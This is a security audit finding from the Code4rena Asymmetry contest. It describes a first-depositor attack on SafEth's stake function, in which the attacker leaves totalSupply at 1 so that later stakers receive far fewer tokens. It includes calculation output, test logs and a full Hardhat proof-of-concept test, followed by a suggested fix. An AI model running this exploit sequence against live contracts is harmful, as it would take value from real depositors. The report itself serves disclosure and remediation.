Asymmetry contest - parsely's results

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L63-L81

Vulnerability details

Impact

The stake function uses the totalsupply() as the denominator in the division if the totalsupply() is not ZERO. It is anticipated that totalsupply() value is either a significant value or defaulted to 10**18.

         uint256 totalSupply = totalSupply();
        uint256 preDepositPrice; // Price of safETH in regards to ETH
        if (totalSupply == 0)
            preDepositPrice = 10 ** 18; // initializes with a price of 1
        else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;

To set up the scenario it is important to first take note that there is no set unstake values. If the first depositor can stake a value eg. 0.5 ETH and then get safETH tokens eg. 1000 tokens. They can then unstake a value of 999 tokens, leaving the total supply as 1, this bypasses the check for a totalsupply of 0 when staking and instead of the denominator being at least 10**18, it is in fact only 1. To show the impact, I have taken a value of 1 multiplied by 10 ** 18 and divided by the 2 values in chisel to demonstrate the difference.

uint256 goodDenominator;
goodDenominator = 10 ** 18;
uint256 badDenominator;
badDenominator = 1;
uint256 anticipatedLowerPrice = 1* 10 ** 18 /goodDenominator;
uint256 badHighPrice = 1 * 10 ** 18 /badDenominator;
anticipatedLowerPrice
Type: uint
├ Hex: 0x1
└ Decimal: 1
badHighPrice
Type: uint
├ Hex: 0xde0b6b3a7640000
└ Decimal: 1000000000000000000

Thus as you can see in the example, the value would be 1000000000000000000 which is much higher than the anticipated value of 1.

Proof of Concept

I have coded a PoC which I will include below, that shows the effect such an attack could have. The hardhat test can be placed in it's own file and run separately. It will give four outputs: 1 The values of tokens stakers get if the attack is successful. 2 The values if the same action of unstaking balance-1 which leaves 1 token, should the deposit not be the first. 3 The values of tokens stakers get if everything works as anticipated and there is a first deposit of 0.5 ETH. 4 The values of tokens stakers get if everything works as anticipated and there is no first deposit of 0.5 ETH.

For scenario 1 listed above the output is below:

    First Depositor Exploit
SafeEth totalsupply
BigNumber { value: "0" }
SafeEth totalsupply after 0.5 stake
BigNumber { value: "500050473544899939" }
SafeEth totalsupply after unstake of balance - 1
BigNumber { value: "1" }
Minted tokens for Second depositor staking 200 ETH
BigNumber { value: "66677603838999772926" }
Minted tokens for Third depositor staking 1 ETH
BigNumber { value: "333367045345000893" }
Minted tokens for Fourth depositor staking 0.5 ETH
BigNumber { value: "166683390128838133" }
Final TotalSupply
BigNumber { value: "67177654274473611953" }
      ✓ Should Stake at smallest amount 0.5 and then unstake balance-1, leaving totalsupply as 1, second depositor get significantly less thank they should (2965826 gas)

For scenario 2 listed above the output is below:

    First Depositor Exploit not as first action
SafeEth totalsupply
BigNumber { value: "0" }
SafeEth totalsupply after 0.5 stake
BigNumber { value: "200532964739201940225" }
SafeEth totalsupply after unstake of balance - 1
BigNumber { value: "200032913994006024272" }
Minted tokens for Second depositor staking 200 ETH
BigNumber { value: "200032913994006024271" }
Minted tokens for Third depositor staking 1 ETH
BigNumber { value: "1000101316928038810" }
Minted tokens for Fourth depositor staking 0.5 ETH
BigNumber { value: "500050260274185931" }
Final TotalSupply
BigNumber { value: "201533065571208249013" }
      ✓ Same action as first exploit only not as first action (2964976 gas)

For scenario 3 listed above the output is below:

    This should work as designed and mint the correct amounts including a first staker of 0.5 ETH
SafeEth totalsupply
BigNumber { value: "0" }
Minted tokens for Second depositor staking 200 ETH
BigNumber { value: "200033021801959749631" }
Minted tokens for Third depositor staking 1 ETH
BigNumber { value: "1000101872140527130" }
Minted tokens for Fourth depositor staking 0.5 ETH
BigNumber { value: "500050538454039776" }
Final TotalSupply
BigNumber { value: "202033225235968627840" }
      ✓ Should work as designed and show BIG difference opposed to First Depositor Exploit (2394782 gas)

For scenario 4 listed above the output is below:

    This should work as designed and mint the correct amounts excluding a first staker of 0.5 ETH
SafeEth totalsupply
BigNumber { value: "0" }
Minted tokens for Second depositor staking 200 ETH
BigNumber { value: "200033243098263235941" }
Minted tokens for Third depositor staking 1 ETH
BigNumber { value: "1000103292795880535" }
Minted tokens for Fourth depositor staking 0.5 ETH
BigNumber { value: "500051247051072874" }
Final TotalSupply
BigNumber { value: "201533397638110189350" }
      ✓ Should work as designed and show BIG difference opposed to First Depositor Exploit (1815707 gas)

From the output above it can be seen that the exploit would cause users to be affected as in the list below: 1 Staking 200 ETH would only get 66677603838999772926 tokens as opposed to around 200033243098263235941 tokens if everything worked as expected which is 133355639259263463015 less than it should be. 2 Staking 1 ETH would only get 333367045345000893 tokens as opposed to around 1000103292795880535 tokens if everything worked as expected which is 666736247450879642 less than it should be. 3 staking 0.5 ETH would only get 166683390128838133 tokens as opposed to around 500051247051072874 tokens if everything worked as expected which is 333367856922234741 less than it should be. The PoC HardHat Tests are below:

/* eslint-disable new-cap */
import { network, upgrades, ethers } from "hardhat";
import { expect } from "chai";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { BigNumber } from "ethers";
import { SafEth } from "../typechain-types";

import {
  initialUpgradeableDeploy,
  upgrade,
  getLatestContract,
} from "./helpers/upgradeHelpers";
import {
  SnapshotRestorer,
  takeSnapshot,
} from "@nomicfoundation/hardhat-network-helpers";
import { rEthDepositPoolAbi } from "./abi/rEthDepositPoolAbi";
import { RETH_MAX, WSTETH_ADRESS, WSTETH_WHALE } from "./helpers/constants";
import { derivativeAbi } from "./abi/derivativeAbi";
import { getDifferenceRatio } from "./SafEth-Integration.test";
import ERC20 from "@openzeppelin/contracts/build/contracts/ERC20.json";

describe("Af Strategy", function () {
  let adminAccount: SignerWithAddress;
  let safEthProxy: SafEth;
  let snapshot: SnapshotRestorer;
  let initialHardhatBlock: number; // incase we need to reset to where we started

  const resetToBlock = async (blockNumber: number) => {
    await network.provider.request({
      method: "hardhat_reset",
      params: [
        {
          forking: {
            jsonRpcUrl: process.env.MAINNET_URL,
            blockNumber,
          },
        },
      ],
    });

    safEthProxy = (await initialUpgradeableDeploy()) as SafEth;
    const accounts = await ethers.getSigners();
    adminAccount = accounts[0];
  };

  beforeEach(async () => {
    const latestBlock = await ethers.provider.getBlock("latest");
    initialHardhatBlock = latestBlock.number;
    await resetToBlock(initialHardhatBlock);
  });

  describe("First Depositor Exploit", function () {
    it("Should Stake at smallest amount 0.5 and then unstake balance-1, leaving totalsupply as 1, second depositor get significantly less thank they should", async function () {
      const startingBalance = await adminAccount.getBalance();
      console.log("SafeEth totalsupply");
      console.log(await safEthProxy.totalSupply());
      const accounts = await ethers.getSigners();
      const tx0 = await safEthProxy.connect(accounts[1]).stake({ value: ethers.utils.parseEther("0.5") });
      await tx0.wait();
      console.log("SafeEth totalsupply after 0.5 stake");
      console.log(await safEthProxy.totalSupply());
      let balanceToUnstake : BigNumber = await safEthProxy.balanceOf(accounts[1].address);
      let balanceToUnstake1 = balanceToUnstake.sub(1);
      const tx01 = await safEthProxy.connect(accounts[1]).unstake(balanceToUnstake1);
      await tx01.wait();
      console.log("SafeEth totalsupply after unstake of balance - 1");
      console.log(await safEthProxy.totalSupply());
      
      const depositAmountOne = ethers.utils.parseEther("200");
      const tx1 = await safEthProxy.connect(accounts[3]).stake({ value: depositAmountOne });
      const mined1 = await tx1.wait();
      const networkFee1 = mined1.gasUsed.mul(mined1.effectiveGasPrice);
      const secondDepositerAmount = ethers.utils.parseEther("1");
      const tx2 = await safEthProxy.connect(accounts[2]).stake({value:secondDepositerAmount});
      const mined2 = await tx2.wait();
      const tx3 = await safEthProxy.connect(accounts[4]).stake({value:ethers.utils.parseEther("0.5")});
      const mined3 = await tx3.wait();
      const networkFee2 = mined2.gasUsed.mul(mined2.effectiveGasPrice);
      
      console.log("Minted tokens for Second depositor staking 200 ETH");
      console.log(await safEthProxy.balanceOf(accounts[3].address));
      console.log("Minted tokens for Third depositor staking 1 ETH");
      console.log(await safEthProxy.balanceOf(accounts[2].address));
      console.log("Minted tokens for Fourth depositor staking 0.5 ETH");
      console.log(await safEthProxy.balanceOf(accounts[4].address));
      console.log("Final TotalSupply");
      console.log(await safEthProxy.totalSupply());

    });
});

describe("First Depositor Exploit not as first action", function () {
        it("Same action as first exploit only not as first action", async function () {
          const startingBalance = await adminAccount.getBalance();
          console.log("SafeEth totalsupply");
          console.log(await safEthProxy.totalSupply());
          const accounts = await ethers.getSigners();
          
          const depositAmountOne = ethers.utils.parseEther("200");
          const tx1 = await safEthProxy.connect(accounts[3]).stake({ value: depositAmountOne });
          const mined1 = await tx1.wait();
          const networkFee1 = mined1.gasUsed.mul(mined1.effectiveGasPrice);
          const tx0 = await safEthProxy.connect(accounts[1]).stake({ value: ethers.utils.parseEther("0.5") });
          await tx0.wait();
          console.log("SafeEth totalsupply after 0.5 stake");
          console.log(await safEthProxy.totalSupply());
          let balanceToUnstake : BigNumber = await safEthProxy.balanceOf(accounts[1].address);
          let balanceToUnstake1 = balanceToUnstake.sub(1);
          const tx01 = await safEthProxy.connect(accounts[1]).unstake(balanceToUnstake1);
          await tx01.wait();
          console.log("SafeEth totalsupply after unstake of balance - 1");
          console.log(await safEthProxy.totalSupply());
          const secondDepositerAmount = ethers.utils.parseEther("1");
          const tx2 = await safEthProxy.connect(accounts[2]).stake({value:secondDepositerAmount});
          const mined2 = await tx2.wait();
          const tx3 = await safEthProxy.connect(accounts[4]).stake({value:ethers.utils.parseEther("0.5")});
          const mined3 = await tx3.wait();
          const networkFee2 = mined2.gasUsed.mul(mined2.effectiveGasPrice);
          
          console.log("Minted tokens for Second depositor staking 200 ETH");
          console.log(await safEthProxy.balanceOf(accounts[3].address));
          console.log("Minted tokens for Third depositor staking 1 ETH");
          console.log(await safEthProxy.balanceOf(accounts[2].address));
          console.log("Minted tokens for Fourth depositor staking 0.5 ETH");
          console.log(await safEthProxy.balanceOf(accounts[4].address));
          console.log("Final TotalSupply");
          console.log(await safEthProxy.totalSupply());
    
        });
    
});
describe("This should work as designed and mint the correct amounts including a first staker of 0.5 ETH", function (){
    it("Should work as designed and show BIG difference opposed to First Depositor Exploit", async function () {
        const startingBalance = await adminAccount.getBalance();
        console.log("SafeEth totalsupply");
        console.log(await safEthProxy.totalSupply());
        const accounts = await ethers.getSigners();
        const tx0 = await safEthProxy.connect(accounts[1]).stake({ value: ethers.utils.parseEther("0.5") });
        await tx0.wait();
        const depositAmountOne = ethers.utils.parseEther("200");
        const tx1 = await safEthProxy.connect(accounts[3]).stake({ value: depositAmountOne });
        const mined1 = await tx1.wait();
        const networkFee1 = mined1.gasUsed.mul(mined1.effectiveGasPrice);
        const secondDepositerAmount = ethers.utils.parseEther("1");
        const tx2 = await safEthProxy.connect(accounts[2]).stake({value:secondDepositerAmount});
        const mined2 = await tx2.wait();
        const tx3 = await safEthProxy.connect(accounts[4]).stake({value:ethers.utils.parseEther("0.5")});
        const mined3 = await tx3.wait();
        const networkFee2 = mined2.gasUsed.mul(mined2.effectiveGasPrice);
        
        console.log("Minted tokens for Second depositor staking 200 ETH");
        console.log(await safEthProxy.balanceOf(accounts[3].address));
        console.log("Minted tokens for Third depositor staking 1 ETH");
        console.log(await safEthProxy.balanceOf(accounts[2].address));
        console.log("Minted tokens for Fourth depositor staking 0.5 ETH");
        console.log(await safEthProxy.balanceOf(accounts[4].address));
        console.log("Final TotalSupply");
        console.log(await safEthProxy.totalSupply());
  
      });
    });

    describe("This should work as designed and mint the correct amounts excluding a first staker of 0.5 ETH", function (){
        it("Should work as designed and show BIG difference opposed to First Depositor Exploit", async function () {
            const startingBalance = await adminAccount.getBalance();
            console.log("SafeEth totalsupply");
            console.log(await safEthProxy.totalSupply());
            const accounts = await ethers.getSigners();
            const depositAmountOne = ethers.utils.parseEther("200");
            const tx1 = await safEthProxy.connect(accounts[3]).stake({ value: depositAmountOne });
            const mined1 = await tx1.wait();
            const networkFee1 = mined1.gasUsed.mul(mined1.effectiveGasPrice);
            const secondDepositerAmount = ethers.utils.parseEther("1");
            const tx2 = await safEthProxy.connect(accounts[2]).stake({value:secondDepositerAmount});
            const mined2 = await tx2.wait();
            const tx3 = await safEthProxy.connect(accounts[4]).stake({value:ethers.utils.parseEther("0.5")});
            const mined3 = await tx3.wait();
            const networkFee2 = mined2.gasUsed.mul(mined2.effectiveGasPrice);
            
            console.log("Minted tokens for Second depositor staking 200 ETH");
            console.log(await safEthProxy.balanceOf(accounts[3].address));
            console.log("Minted tokens for Third depositor staking 1 ETH");
            console.log(await safEthProxy.balanceOf(accounts[2].address));
            console.log("Minted tokens for Fourth depositor staking 0.5 ETH");
            console.log(await safEthProxy.balanceOf(accounts[4].address));
            console.log("Final TotalSupply");
            console.log(await safEthProxy.totalSupply());
      
          });
        });

});

## Tools Used
Manual review, hardhat
## Recommended Mitigation Steps
Set a minimum value for the local totalsupply variable so that if it is lower than an acceptable range,  the preDepositPrice will also be defaulted to 10 ** 18.